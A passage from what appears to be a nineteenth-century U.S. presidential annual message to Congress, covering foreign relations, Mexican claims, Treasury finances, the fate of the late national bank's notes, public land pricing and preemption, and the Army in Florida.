concerning a subject in\nwhich she has so deep an interest every portion of the Union participates.The feelings produced by a temporary interruption of those harmonious\nrelations between France and the United States which are due as well to the\nrecollections of former times as to a correct appreciation of existing\ninterests have been happily succeeded by a cordial disposition on both\nsides to cultivate an active friendship in their future intercourse. The\nopinion, undoubtedly correct, and steadily entertained by us, that the\ncommercial relations at present existing between the two countries are\nsusceptible of great and reciprocally beneficial improvements is obviously\ngaining ground in France, and I am assured of the disposition of that\nGovernment to favor the accomplishment of such an object. This disposition\nshall be met in a proper spirit on our part. The few and comparatively\nunimportant questions that remain to be adjusted between us can, I have no\ndoubt, be settled with entire satisfaction and without difficulty.Between Russia and the United States sentiments of good will continue to be\nmutually cherished. Our minister recently accredited to that Court has been\nreceived with a frankness and cordiality and with evidences of respect for\nhis country which leave us no room to doubt the preservation in future of\nthose amicable and liberal relations which have so long and so\nuninterruptedly existed between the two countries. On the few subjects\nunder discussion between us an early and just decision is confidently\nanticipated.A correspondence has been opened with the Government of Austria for the\nestablishment of diplomatic relations, in conformity with the wishes of\nCongress as indicated by an appropriation act of the session of 1837, and\narrangements made for the purpose, which will be duly carried into effect.With Austria and Prussia and with the States of the German Empire (now\ncomposing with the latter the Commercial League) our political relations\nare of the most friendly character, whilst our commercial intercourse is\ngradually extending, with benefit to all who are engaged in it.Civil war yet rages in Spain, producing intense suffering to its own\npeople, and to other nations inconvenience and regret. Our citizens who\nhave claims upon that country will be prejudiced for a time by the\ncondition of its treasury, the inevitable consequence of long-continued and\nexhausting internal wars. The last installment of the interest of the debt\ndue under the convention with the Queen of Spain has not been paid and\nsimilar failures may be expected to happen until a portion of the resources\nof her Kingdom can be devoted to the extinguishment of its foreign debt.Having received satisfactory evidence that discriminating tonnage duties\nwere charged upon the vessels of the United States in the ports of\nPortugal, a proclamation was issued on the 11th day of October last, in\ncompliance with the act of May 25, 1832, declaring that fact, and the\nduties on foreign tonnage which were levied upon Portuguese vessels in the\nUnited States previously to the passage of that act are accordingly\nrevived.The act of July 4, 1836, suspending the discriminating duties upon the\nproduce of Portugal imported into this country in Portuguese vessels, was\npassed, upon the application of that Government through its representative\nhere, under the belief that no similar discrimination existed in Portugal\nto the prejudice of the United States. I regret to state that such duties\nare now exacted in that country upon the cargoes of American vessels, and\nas the act referred to vests no discretion in the Executive, it is for\nCongress to determine upon the expediency of further legislation on the\nsubject. Against these discriminations affecting the vessels of this\ncountry and their cargoes seasonable remonstrance was made, and notice was\ngiven to the Portuguese Government that unless they should be discontinued\nthe adoption of countervailing measures on the part of the United States\nwould become necessary; but the reply of that Government, received at the\nDepartment of State through our charge d'affaires at Lisbon in the month of\nSeptember last, afforded no ground to hope for the abandonment of a system\nso little in harmony with the treatment shown to the vessels of Portugal\nand their cargoes in the ports of this country and so contrary to the\nexpectations we had a right to entertain.With Holland, Sweden, Denmark, Naples, and Belgium a friendly intercourse\nhas been uninterruptedly maintained.With the Government of the Ottoman Porte and its dependencies on the coast\nof the Mediterranean peace and good will are carefully cultivated, and have\nbeen fostered by such good offices as the relative distance and the\ncondition of those countries would permit.Our commerce with Greece is carried on under the laws of the two\nGovernments, reciprocally beneficial to the navigating interests of both;\nand I have reason to look forward to the adoption of other measures which\nwill be more extensively and permanently advantageous.Copies of the treaties concluded with the Governments of Siam and Muscat\nare transmitted for the information of Congress, the ratifications having\nbeen received and the treaties made public since the close of the last\nannual session. Already have we reason to congratulate ourselves on the\nprospect of considerable commercial benefit; and we have, besides, received\nfrom the Sultan of Muscat prompt evidence of his desire to cultivate the\nmost friendly feelings, by liberal acts toward one of our vessels, bestowed\nin a manner so striking as to require on our part a grateful\nacknowledgment.Our commerce with the islands of Cuba and Porto Rico still labors under\nheavy restrictions, the continuance of which is a subject of regret. The\nonly effect of an adherence to them will be to benefit the navigation of\nother countries at the expense of both the United States and Spain.The independent nations of this continent have ever since they emerged from\nthe colonial state experienced severe trials in their progress to the\npermanent establishment of liberal political institutions. Their unsettled\ncondition not only interrupts their own advances to prosperity, but has\noften seriously injured the other powers of the world. The claims of our\ncitizens upon Peru, Chili, Brazil, the Argentine Republic, the Governments\nformed out of the Republics of Colombia and Mexico, are still pending,\nalthough many of them have been presented for examination more than twenty\nyears. New Granada, Venezuela, and Ecuador have recently formed a\nconvention for the purpose of ascertaining and adjusting claims upon the\nRepublic of Colombia, from which it is earnestly hoped our citizens will\nere long receive full compensation for the injuries inflicted upon them and\nfor the delay in affording it.An advantageous treaty of commerce has been concluded by the United States\nwith the Peru-Bolivian Confederation, which wants only the ratification of\nthat Government. The progress of a subsequent negotiation for the\nsettlement of claims upon Peru has been unfavorably affected by the war\nbetween that power and Chili and the Argentine Republic, and the same event\nis also likely to produce delays in the settlement of out demands on those\npowers.The aggravating circumstances connected with our claims upon Mexico and a\nvariety of events touching the honor and integrity of our Government led my\npredecessor to make at the second session of the last Congress a special\nrecommendation of the course to be pursued to obtain a speedy and final\nsatisfaction of the injuries complained of by this Government and by our\ncitizens. He recommended a final demand of redress, with a contingent\nauthority to the Executive to make reprisals if that demand should be made\nin vain. From the proceedings of Congress on that recommendation it\nappeared that the opinion of both branches of the Legislature coincided\nwith that of the Executive, that any mode of redress known to the law of\nnations might justifiably be used. It was obvious, too, that Congress\nbelieved with the President that another demand should be made, in order to\ngive undeniable and satisfactory proof of our desire to avoid extremities\nwith a neighboring power, but that there was an indisposition to vest a\ndiscretionary authority in the Executive to take redress should it\nunfortunately be either denied or unreasonably delayed by the Mexican\nGovernment.So soon as the necessary documents were prepared, after entering upon the\nduties of my office, a special messenger was sent to Mexico to make a final\ndemand of redress, with the documents required by the provisions of our\ntreaty. The demand was made on the 20th of July last. The reply, which\nbears date the 29th of the same month, contains assurances of a desire on\nthe part of that Government to give a prompt and explicit answer respecting\neach of the complaints, but that the examination of them would necessarily\nbe deliberate; that in this examination it would be guided by the\nprinciples of public law and the obligation of treaties; that nothing\nshould be left undone that might lead to the most speedy and equitable\nadjustment of our demands, and that its determination in respect to each\ncase should be communicated through the Mexican minister here.Since that time an envoy extraordinary and minister plenipotentiary has\nbeen accredited to this Government by that of the Mexican Republic. He\nbrought with him assurances of a sincere desire that the pending\ndifferences between the two Governments should be terminated in a manner\nsatisfactory to both. He was received with reciprocal assurances, and a\nhope was entertained that his mission would lead to a speedy, satisfactory,\nand final adjustment of all existing subjects of complaint. A sincere\nbeliever in the wisdom of the pacific policy by which the United States\nhave always been governed in their intercourse with foreign nations, it was\nmy particular desire, from the proximity of the Mexican Republic and\nwell-known occurrences on our frontier, to be instrumental in obviating all\nexisting difficulties with that Government and in restoring to the\nintercourse between the two Republics that liberal and friendly character\nby which they should always be distinguished. I regret, therefore, the more\ndeeply to have found in the recent communications of that Government so\nlittle reason to hope that any future efforts of mine for the\naccomplishment of those desirable objects would be successful.Although the larger number--and many of them aggravated cases of personal\nwrongs--have been now for years before the Mexican Government, and some of\nthe causes of national complaint, and those of the most offensive\ncharacter, admitted of immediate, simple, and satisfactory replies, it is\nonly within a few days past that any specific communication in answer to\nour last demand, made five months ago, has been received from the Mexican\nminister. By the report of the Secretary of State herewith presented and\nthe accompanying documents it will be seen that for not one of our public\ncomplaints has satisfaction been given or offered, that but one of the\ncases of personal wrong has been favorably considered, and that but four\ncases of both descriptions out of all those formally presented and\nearnestly pressed have as yet been decided upon by the Mexican Government.Not perceiving in what manner any of the powers given to the Executive\nalone could be further usefully employed in bringing this unfortunate\ncontroversy to a satisfactory termination, the subject was by my\npredecessor referred to Congress as one calling for its interposition. In\naccordance with the clearly understood wishes of the Legislature, another\nand formal demand for satisfaction has been made upon the Mexican\nGovernment, with what success the documents now communicated will show. On\na careful and deliberate examination of their contents, and considering the\nspirit manifested by the Mexican Government, it has become my painful duty\nto return the subject as it now stands to Congress, to whom it belongs to\ndecide upon the time, the mode, and the measure of redress. Whatever may be\nyour decision, it shall be faithfully executed, confident that it will be\ncharacterized by that moderation and justice which will, I trust, under all\ncircumstances govern the councils of our country.The balance in the Treasury on the 1st January, 1837, was $45,968,523. The\nreceipts during the present year from all sources, including the amount of\nTreasury notes issued, are estimated at $23,499,981, constituting an\naggregate of $69,468,504. Of this amount about $35,281,361 will have been\nexpended at the end of the year on appropriations made by Congress, and the\nresidue, amounting to $34,187,143, will be the nominal balance in the\nTreasury on the 1st of January next; but of that sum only $1,085,498 is\nconsidered as immediately available for and applicable to public purposes.\nThose portions of it which will be for some time unavailable consist\nchiefly of sums deposited with the States and due from the former deposit\nbanks. The details upon this subject will be found in the annual report of\nthe Secretary of the Treasury. The amount of Treasury notes which it will\nbe necessary to issue during the year on account of those funds being\nunavailable will, it is supposed, not exceed four and a half millions. It\nseemed proper, in the condition of the country, to have the estimates on\nall subjects made as low as practicable without prejudice to any great\npublic measures. The Departments were therefore desired to prepare their\nestimates accordingly, and I am happy to find that they have been able to\ngraduate them on so economical a scale. In the great and often unexpected\nfluctuations to which the revenue is subjected it is not possible to\ncompute the receipts beforehand with great certainty, but should they not\ndiffer essentially from present anticipations, and should the\nappropriations not much exceed the estimates, no difficulty seems likely to\nhappen in defraying the current expenses with promptitude and fidelity.Notwithstanding the great embarrassments which have recently occurred in\ncommercial affairs, and the liberal indulgence which in consequence of\nthese embarrassments has been extended to both the merchants and the banks,\nit is gratifying to be able to anticipate that the Treasury notes which\nhave been issued during the present year will be redeemed and that the\nresources of the Treasury, without any resort to loans or increased taxes,\nwill prove ample for defraying all charges imposed on it during 1838.The report of the Secretary of the Treasury will afford you a more minute\nexposition of all matters connected with the administration of the finances\nduring the current year--a period which for the amount of public moneys\ndisbursed and deposited with the States, as well as the financial\ndifficulties encountered and overcome, has few parallels in our history.Your attention was at the last session invited to the necessity of\nadditional legislative provisions in respect to the collection,\nsafe-keeping, and transfer of the public money. No law having been then\nmatured, and not understanding the proceedings of Congress as intended to\nbe final, it becomes my duty again to bring the subject to your notice.On that occasion three modes of performing this branch of the public\nservice were presented for consideration. These were, the creation of a\nnational bank; the revival, with modifications, of the deposit system\nestablished by the act of the 23d of June, 1836, permitting the use of the\npublic moneys by the banks; and the discontinuance of the use of such\ninstitutions for the purposes referred to, with suitable provisions for\ntheir accomplishment through the agency of public officers. Considering the\nopinions of both Houses of Congress on the first two propositions as\nexpressed in the negative, in which I entirely concur, it is unnecessary\nfor me again in to recur to them. In respect to the last, you have had an\nopportunity since your adjournment not only to test still further the\nexpediency of the measure by the continued practical operation of such\nparts of it as are now in force, but also to discover what should ever be\nsought for and regarded with the utmost deference--the opinions and wishes\nof the people.The national will is the supreme law of the Republic, and on all subjects\nwithin the limits of his constitutional powers should be faithfully obeyed\nby the public servant. Since the measure in question was submitted to your\nconsideration most of you have enjoyed the advantage of personal\ncommunication with your constituents. For one State only has an election\nbeen held for the Federal Government; but the early day at which it took\nplace deprived the measure under consideration of much of the support it\nmight otherwise have derived from the result. Local elections for State\nofficers have, however, been held in several of the States, at which the\nexpediency of the plan proposed by the Executive has been more or less\ndiscussed. You will, I am confident, yield to their results the respect due\nto every expression of the public voice. Desiring, however, to arrive at\ntruth and a just view of the subject in all its bearings, you will at the\nsame time remember that questions of far deeper and more immediate local\ninterest than the fiscal plans of the National Treasury were involved in\nthose elections. Above all, we can not overlook the striking fact that\nthere were at the time in those States more than one hundred and sixty\nmillions of bank capital, of which large portions were subject to actual\nforfeiture, other large portions upheld only by special and limited\nlegislative indulgences, and most of it, if not all, to a greater or less\nextent dependent for a continuance of its corporate existence upon the will\nof the State legislatures to be then chosen. Apprised of this circumstance,\nyou will judge whether it is not most probable that the peculiar condition\nof that vast interest in these respects, the extent to which it has been\nspread through all the ramifications of society, its direct connection with\nthe then pending elections, and the feelings it was calculated to infuse\ninto the canvass have exercised a far greater influence over the result\nthan any which could possibly have been produced by a conflict of opinion\nin respect to a question in the administration of the General Government\nmore remote and far less important in its bearings upon that interest.I have found no reason to change my own opinion as to the expediency of\nadopting the system proposed, being perfectly satisfied that there will be\nneither stability nor safety either in the fiscal affairs of the Government\nor in the pecuniary transactions of individuals and corporations so long as\na connection exists between them which, like the past, offers such strong\ninducements to make them the subjects of political agitation. Indeed, I am\nmore than ever convinced of the dangers to which the free and unbiased\nexercise of political opinion--the only sure foundation and safeguard of\nrepublican government--would be exposed by any further increase of the\nalready overgrown influence of corporate authorities. I can not, therefore,\nconsistently with my views of duty, advise a renewal of a connection which\ncircumstances have dissolved.The discontinuance of the use of State banks for fiscal purposes ought not\nto be regarded as a measure of hostility toward those institutions. Banks\nproperly established and conducted are highly useful to the business of the\ncountry, and will doubtless continue to exist in the States so long as they\nconform to their laws and are found to be safe and beneficial. How they\nshould be created, what privileges they should enjoy, under what\nresponsibilities they should act, and to what restrictions they should be\nsubject are questions which, as I observed on a previous occasion, belong\nto the States to decide. Upon their rights or the exercise of them the\nGeneral Government can have no motive to encroach. Its duty toward them is\nwell performed when it refrains from legislating for their special benefit,\nbecause such legislation would violate the spirit of the Constitution and\nbe unjust to other interests; when it takes no steps to impair their\nusefulness, but so manages its own affairs as to make it the interest of\nthose institutions to strengthen and improve their condition for the\nsecurity and welfare of the community at large. They have no right to\ninsist on a connection with the Federal Government, nor on the use of the\npublic money for their own benefit. The object of the measure under\nconsideration is to avoid for the future a compulsory connection of this\nkind. It proposes to place the General Government, in regard to the\nessential points of the collection, safe-keeping, and transfer of the\npublic money, in a situation which shall relieve it from all dependence on\nthe will of irresponsible individuals or corporations; to withdraw those\nmoneys from the uses of private trade and confide them to agents\nconstitutionally selected and controlled by law; to abstain from improper\ninterference with the industry of the people and withhold inducements to\nimprovident dealings on the part of individuals; to give stability to the\nconcerns of the Treasury; to preserve the measures of the Government from\nthe unavoidable reproaches that flow from such a connection, and the banks\nthemselves from the injurious effects of a supposed participation in the\npolitical conflicts of the day, from which they will otherwise find it\ndifficult to escape.These are my views upon this important subject, formed after careful\nreflection and with no desire but to arrive at what is most likely to\npromote the public interest. They are now, as they were before, submitted\nwith unfeigned deference for the opinions of others. It was hardly to be\nhoped that changes so important on a subject so interesting could be made\nwithout producing a serious diversity of opinion; but so long as those\nconflicting views are kept above the influence of individual or local\ninterests, so long as they pursue only the general good and are discussed\nwith moderation and candor, such diversity is a benefit, not an injury. If\na majority of Congress see the public welfare in a different light, and\nmore especially if they should be satisfied that the measure proposed would\nnot be acceptable to the people, I shall look to their wisdom to substitute\nsuch as may be more conducive to the one and more satisfactory to the\nother. In any event, they may confidently rely on my hearty cooperation to\nthe fullest extent to which my views of the Constitution and my sense of\nduty will permit.It is obviously important to this branch of the public service and to the\nbusiness and quiet of the country that the whole subject should in some way\nbe settled and regulated by law, and, if possible, at your present session.\nBesides the plans above referred to, I am not aware that any one has been\nsuggested except that of keeping the public money in the State banks in\nspecial deposit. This plan is to some extent in accordance with the\npractice of the Government and with the present arrangements of the\nTreasury Department, which, except, perhaps, during the operation of the\nlate deposit act, has always been allowed, even during the existence of a\nnational bank, to make a temporary use of the State banks in particular\nplaces for the safe-keeping of portions of the revenue. This discretionary\npower might be continued if Congress deem it desirable, whatever general\nsystem be adopted. So long as the connection is voluntary we need, perhaps,\nanticipate few of those difficulties and little of that dependence on the\nbanks which must attend every such connection when compulsory in its nature\nand when so arranged as to make the banks a fixed part of the machinery of\ngovernment. It is undoubtedly in the power of Congress so to regulate and\nguard it as to prevent the public money from being applied to the use or\nintermingled with the affairs of individuals. Thus arranged, although it\nwould not give to the Government that entire control over its own funds\nwhich I desire to secure to it by the plan I have proposed, it would, it\nmust be admitted, in a great degree accomplish one of the objects which has\nrecommended that plan to my judgment--the separation of the fiscal concerns\nof the Government from those of individuals or corporations.With these observations I recommend the whole matter to your dispassionate\nreflection, confidently hoping that some conclusion may be reached by your\ndeliberations which on the one hand shall give safety and stability to the\nfiscal operations of the Government, and be consistent, on the other, with\nthe genius of our institutions and with the interests and wishes of the\ngreat mass of our constituents.It was my hope that nothing would occur to make necessary on this occasion\nany allusion to the late national bank. There are circumstances, however,\nconnected with the present state of its affairs that bear so directly on\nthe character of the Government and the welfare of the citizen that I\nshould not feel myself excused in neglecting to notice them. The charter\nwhich terminated its banking privileges on the 4th of March, 1836,\ncontinued its corporate power two years more for the sole purpose of\nclosing its affairs, with authority \"to use the corporate name, style, and\ncapacity for the purpose of suits for a final settlement and liquidation of\nthe affairs and acts of the corporation, and for the sale and disposition\nof their estate--real, personal, and mixed--but for no other purpose or in\nany other manner whatsoever.\" Just before the banking privileges ceased,\nits effects were transferred by the bank to a new State institution, then\nrecently incorporated, in trust, for the discharge of its debts and the\nsettlement of its affairs. With this trustee, by authority of Congress, an\nadjustment was subsequently made of the large interest which the Government\nhad in the stock of the institution. The manner in which a trust\nunexpectedly created upon the act granting the charter, and involving such\ngreat public interests, has been executed would under any circumstances be\na fit subject of inquiry; but much more does it deserve your attention when\nit embraces the redemption of obligations to which the authority and credit\nof the United States have given value. The two years allowed are now nearly\nat an end. It is well understood that the trustee has not redeemed and\ncanceled the outstanding notes of the bank, but has reissued and is\nactually reissuing, since the 3d of March, 1836, the notes which have been\nreceived by it to a vast amount. According to its own official statement,\nso late as the 1st of October last, nineteen months after the banking\nprivileges given by the charter had expired, it had under its control\nuncanceled notes of the late Bank of the United States to the amount of\n$27,561,866, of which $6,175,861 were in actual circulation, $ 1,468,627 at\nState bank agencies, and $3,002,390 in transitu, thus showing that upward\nof ten millions and a half of the notes of the old bank were then still\nkept outstanding.The impropriety of this procedure is obvious, it being the duty of the\ntrustee to cancel and not to put forth the notes of an institution whose\nconcerns it had undertaken to wind up. If the trustee has a right to\nreissue these notes now, I can see no reason why it may not continue to do\nso after the expiration of the two years. As no one could have anticipated\na course so extraordinary, the prohibitory clause of the charter above\nquoted was not accompanied by any penalty or other special provision for\nenforcing it, nor have we any general law for the prevention of similar\nacts in future.But it is not in this view of the subject alone that your interposition is\nrequired. The United States in settling with the trustee for their stock\nhave withdrawn their funds from their former direct liability to the\ncreditors of the old bank, yet notes of the institution continue to be sent\nforth in its name, and apparently upon the authority of the United States.\nThe transactions connected with the employment of the bills of the old bank\nare of vast extent, and should they result unfortunately the interests of\nindividuals may be deeply compromised. Without undertaking to decide how\nfar or in what form, if any, the trustee could be made liable for notes\nwhich contain no obligation on its part, or the old bank for such as are\nput in circulation after the expiration of its charter and without its\nauthority, or the Government for indemnity in case of loss, the question\nstill presses itself upon your consideration whether it is consistent with\nduty and good faith on the part of the Government to witness this\nproceeding without a single effort to arrest it.The report of the Commissioner of the General Land Office, which will be\nlaid before you by the Secretary of the Treasury, will show how the affairs\nof that office have been conducted for the past year. The disposition of\nthe public lands is one of the most important trusts confided to Congress.\nThe practicability of retaining the title and control of such extensive\ndomains in the General Government, and at the same time admitting the\nTerritories embracing them into the Federal Union as coequals with the\noriginal States, was seriously doubted by many of our wisest statesmen. All\nfeared that they would become a source of discord, and many carried their\napprehensions so far as to see in them the seeds of a future dissolution of\nthe Confederacy. But happily our experience has already been sufficient to\nquiet in a great degree all such apprehensions. The position at one time\nassumed, that the admission of new States into the Union on the same\nfooting with the original States was incompatible with a right of soil in\nthe United States and operated as a surrender thereof, notwithstanding the\nterms of the compacts by which their admission was designed to be\nregulated, has been wisely abandoned. Whether in the new or the old States,\nall now agree that the right of soil to the public lands remains in the\nFederal Government, and that these lands constitute a common property, to\nbe disposed of for the common benefit of all the States, old and new.\nAcquiescence in this just principle by the people of the new States has\nnaturally promoted a disposition to adopt the most liberal policy in the\nsale of the public lands. A policy which should be limited to the mere\nobject of selling the lands for the greatest possible sum of money, without\nregard to higher considerations, finds but few advocates. On the contrary,\nit is generally conceded that whilst the mode of disposition adopted by the\nGovernment should always be a prudent one, yet its leading object ought to\nbe the early settlement and cultivation of the lands sold, and that it\nshould discountenance, if it can not prevent, the accumulation of large\ntracts in the same hands, which must necessarily retard the growth of the\nnew States or entail upon them a dependent tenantry and its attendant\nevils.A question embracing such important interests and so well calculated to\nenlist the feelings of the people in every quarter of the Union has very\nnaturally given rise to numerous plans for the improvement of the existing\nsystem. The distinctive features of the policy that has hitherto prevailed\nare to dispose of the public lands at moderate prices, thus enabling a\ngreater number to enter into competition for their purchase and\naccomplishing a double object--of promoting their rapid settlement by the\npurchasers and at the same time increasing the receipts of the Treasury; to\nsell for cash, thereby preventing the disturbing influence of a large mass\nof private citizens indebted to the Government which they have a voice in\ncontrolling; to bring them into market no faster than good lands are\nsupposed to be wanted for improvement, thereby preventing the accumulation\nof large tracts in few hands; and to apply the proceeds of the sales to the\ngeneral purposes of the Government, thus diminishing the amount to be\nraised from the people of the States by taxation and giving each State its\nportion of the benefits to be derived from this common fund in a manner the\nmost quiet, and at the same time, perhaps, the most equitable, that can be\ndevised. These provisions, with occasional enactments in behalf of special\ninterests deemed entitled to the favor of the Government, have in their\nexecution produced results as beneficial upon the whole as could reasonably\nbe expected in a matter so vast, so complicated, and so exciting. Upward of\n70,000,000, acres have been sold, the greater part of which is believed to\nhave been purchased for actual settlement. The population of the new States\nand Territories created out of the public domain increased between 1800 and\n1830 from less than 60,000 to upward of 2,300,000 souls, constituting at\nthe latter period about one-fifth of the whole people of the United States.\nThe increase since can not be accurately known, but the whole may now be\nsafely estimated at over three and a half millions of souls, composing nine\nStates, the representatives of which constitute above one-third of the\nSenate and over one-sixth of the House of Representatives of the United\nStates.Thus has been formed a body of free and independent landholders with a\nrapidity unequaled in the history of mankind; and this great result has\nbeen produced without leaving anything for future adjustment between the\nGovernment and its citizens. The system under which so much has been\naccomplished can not be intrinsically bad, and with occasional\nmodifications to correct abuses and adapt it to changes of circumstances\nmay, I think, be safely trusted for the future. There is in the management\nof such extensive interests much virtue in stability; and although great\nand obvious improvements should not be declined, changes should never be\nmade without the fullest examination and the clearest demonstration of\ntheir practical utility. In the history of the past we have an assurance\nthat this safe rule of action will not be departed from in relation to the\npublic lands; nor is it believed that any necessity exists for interfering\nwith the fundamental principles of the system, or that the public mind,\neven in the new States, is desirous of any radical alterations. On the\ncontrary, the general disposition appears to be to make such modifications\nand additions only as will the more effectually carry out the original\npolicy of filling our new States and Territories with an industrious and\nindependent population.The modification most perseveringly pressed upon Congress, which has\noccupied so much of its time for years past, and will probably do so for a\nlong time to come, if not sooner satisfactorily adjusted, is a reduction in\nthe cost of such portions of the public lands as are ascertained to be\nunsalable at the rate now established by law, and a graduation according to\ntheir relative value of the prices at which they may hereafter be sold. It\nis worthy of consideration whether justice may not be done to every\ninterest in this matter, and a vexed question set at rest, perhaps forever,\nby a reasonable compromise of conflicting opinions. Hitherto, after being\noffered at public sale, lands have been disposed of at one uniform price,\nwhatever difference there might be in their intrinsic value. The leading\nconsiderations urged in favor of the measure referred to are that in almost\nall the land districts, and particularly in those in which the lands have\nbeen long surveyed and exposed to sale, there are still remaining numerous\nand large tracts of every gradation of value, from the Government price\ndownward; that these lands will not be purchased at the Government price so\nlong as better can be conveniently obtained for the same amount; that there\nare large tracts which even the improvements of the adjacent lands will\nnever raise to that price, and that the present uniform price, combined\nwith their irregular value, operates to prevent a desirable compactness of\nsettlements in the new States and to retard the full development of that\nwise policy on which our land system is founded, to the injury not only of\nthe several States where the lands lie, but of the United States as a\nwhole.The remedy proposed has been a reduction of the prices according to the\nlength of time the lands have been in market, without reference to any\nother circumstances. The certainty that the efflux of time would not always\nin such cases, and perhaps not even generally, furnish a true criterion of\nvalue, and the probability that persons residing in the vicinity, as the\nperiod for the reduction of prices approached, would postpone purchases\nthey would otherwise make, for the purpose of availing themselves of the\nlower price, with other considerations of a similar character, have\nhitherto been successfully urged to defeat the graduation upon time.May not all reasonable desires upon this subject be satisfied without\nencountering any of these objections? All will concede the abstract\nprinciple that the price of the public lands should be proportioned to\ntheir relative value, so far as can be accomplished without departing from\nthe rule heretofore observed requiring fixed prices in cases of private\nentries. The difficulty of the subject seems to lie in the mode of\nascertaining what that value is. Would not the safest plan be that which\nhas been adopted by many of the States as the basis of taxation--an actual\nvaluation of lands and classification of them into different rates? Would\nit not be practicable and expedient to cause the relative value of the\npublic lands in the old districts which have been for a certain length of\ntime in market to be appraised and classed into two or more rates below the\npresent minimum price by the officers now employed in this branch of the\npublic service or in any other mode deemed preferable, and to make those\nprices permanent if upon the coming in of the report they shall prove\nsatisfactory to Congress? Could not all the objects of graduation be\naccomplished in this way, and the objections which have hitherto been urged\nagainst it avoided? It would seem to me that such a step, with a\nrestriction of the sales to limited quantities and for actual improvement,\nwould be free from all just exception.By the full exposition of the value of the lands thus furnished and\nextensively promulgated persons living at a distance would be informed of\ntheir true condition and enabled to enter into competition with those\nresiding in the vicinity; the means of acquiring an independent home would\nbe brought within the reach of many who are unable to purchase at present\nprices; the population of the new States would be made more compact, and\nlarge tracts would be sold which would otherwise remain on hand. Not only\nwould the land be brought within the means of a larger number of\npurchasers, but many persons possessed of greater means would be content to\nsettle on a larger quantity of the poorer lands rather than emigrate\nfarther west in pursuit of a smaller quantity of better lands. Such a\nmeasure would also seem to be more consistent with the policy of the\nexisting laws--that of converting the public domain into cultivated farms\nowned by their occupants. That policy is not best promoted by sending\nemigration up the almost interminable streams of the West to occupy in\ngroups the best spots of land, leaving immense wastes behind them and\nenlarging the frontier beyond the means of the Government to afford it\nadequate protection, but in encouraging it to occupy with reasonable\ndenseness the territory over which it advances, and find its best defense\nin the compact front which it presents to the Indian tribes. Many of you\nwill bring to the consideration of the subject the advantages of local\nknowledge and greater experience, and all will be desirous of making an\nearly and final disposition of every disturbing question in regard to this\nimportant interest. If these suggestions shall in any degree contribute to\nthe accomplishment of so important a result, it will afford me sincere\nsatisfaction.In some sections of the country most of the public lands have been sold,\nand the registers and receivers have very little to do. It is a subject\nworthy of inquiry whether in many cases two or more districts may not be\nconsolidated and the number of persons employed in this business\nconsiderably reduced. Indeed, the time will come when it will be the true\npolicy of the General Government, as to some of the States, to transfer to\nthem for a reasonable equivalent all the refuse and unsold lands and to\nwithdraw the machinery of the Federal land offices altogether. All who take\na comprehensive view of our federal system and believe that one of its\ngreatest excellencies consists in interfering as little as possible with\nthe internal concerns of the States look forward with great interest to\nthis result.A modification of the existing laws in respect to the prices of the public\nlands might also have a favorable influence on the legislation of Congress\nin relation to another branch of the subject. Many who have not the ability\nto buy at present prices settle on those lands with the hope of acquiring\nfrom their cultivation the means of purchasing under preemption laws from\ntime to time passed by Congress. For this encroachment on the rights of the\nUnited States they excuse themselves under the plea of their own\nnecessities; the fact that they dispossess nobody and only enter upon the\nwaste domain: that they give additional value to the public lands in their\nvicinity, and their intention ultimately to pay the Government price. So\nmuch weight has from time to time been attached to these considerations\nthat Congress have passed laws giving actual settlers on the public lands a\nright of preemption to the tracts occupied by them at the minimum price.\nThese laws have in all instances been retrospective in their operation, but\nin a few years after their passage crowds of new settlers have been found\non the public lands for similar reasons and under like expectations, who\nhave been indulged with the same privilege. This course of legislation\ntends to impair public respect for the laws of the country. Either the laws\nto prevent intrusion upon the public lands should be executed, or, if that\nshould be impracticable or inexpedient, they should be modified or\nrepealed. If the public lands are to be considered as open to be occupied\nby any, they should by law be thrown open to all. That which is intended in\nall instances to be legalized should at once be made legal, that those who\nare disposed to conform to the laws may enjoy at least equal privileges\nwith those who are not. But it is not believed to be the disposition of\nCongress to open the public lands to occupancy without regular entry and\npayment of the Government price, as such a course must tend to worse evils\nthan the credit system, which it was found necessary to abolish.It would seem, therefore, to be the part of wisdom and sound policy to\nremove as far as practicable the causes which produce intrusions upon the\npublic lands, and then take efficient steps to prevent them in future.\nWould any single measure be so effective in removing all plausible grounds\nfor these intrusions as the graduation of price already suggested? A short\nperiod of industry and economy in any part of our country would enable the\npoorest citizen to accumulate the means to buy him a home at the lower\nprices, and leave him without apology for settling on lands not his own. If\nhe did not under such circumstances, he would enlist no sympathy in his\nfavor, and the laws would be readily executed without doing violence to\npublic opinion.A large portion of our citizens have seated themselves on the public lands\nwithout authority since the passage of the last preemption law, and now ask\nthe enactment of another to enable them to retain the lands occupied upon\npayment of the minimum Government price. They ask that which has been\nrepeatedly granted before. If the future may be judged of by the past,\nlittle harm can be done to the interests of the Treasury by yielding to\ntheir request. Upon a critical examination it is found that the lands sold\nat the public sales since the introduction of cash payments, in 1820, have\nproduced on an average the net revenue of only 6 cents an acre more than\nthe minimum Government price. There is no reason to suppose that future\nsales will be more productive. The Government, therefore, has no adequate\npecuniary interest to induce it to drive these people from the lands they\noccupy for the purpose of selling them to others.Entertaining these views, I recommend the passage of a preemption law for\ntheir benefit in connection with the preparatory steps toward the\ngraduation of the price of the public lands, and further and more effectual\nprovisions to prevent intrusions hereafter. Indulgence to those who have\nsettled on these lands with expectations that past legislation would be\nmade a rule for the future, and at the same time removing the most\nplausible ground on which intrusions are excused and adopting more\nefficient means to prevent them hereafter, appears to me the most judicious\ndisposition which can be made of this difficult subject. The limitations\nand restrictions to guard against abuses in the execution of a preemption\nlaw will necessarily attract the careful attention of Congress, but under\nno circumstances is it considered expedient to authorize floating claims in\nany shape. They have been heretofore, and doubtless would be hereafter,\nmost prolific sources of fraud and oppression, and instead of operating to\nconfer the favor of the Government on industrious settlers are often used\nonly to minister to a spirit of cupidity at the expense of the most\nmeritorious of that class.The accompanying report of the Secretary of War will bring to your view the\nstate of the Army and all the various subjects confided to the\nsuperintendence of that officer.The principal part of the Army has been concentrated in Florida, with a\nview and in the expectation of bringing the war in that Territory to a\nspeedy close. The necessity of stripping the posts on the maritime and\ninland frontiers of their entire garrisons for the purpose of assembling in\nthe field an army of less than 4,000 men would seem to indicate the\nnecessity of increasing our regular forces; and the superior efficiency, as\nwell as greatly diminished expense of that description of troops, recommend\nthis measure as one of economy as well as of expediency. I refer to the\nreport for the reasons which have induced the Secretary of War to urge the\nreorganization and enlargement of the staff of the Army, and of the\nOrdnance Corps, in which I fully concur.It is not, however, compatible with the interests of the people to maintain\nin time of peace a regular force adequate to the defense of our extensive\nfrontiers. In periods of danger and alarm we must rely principally upon a\nwell-organized militia, and 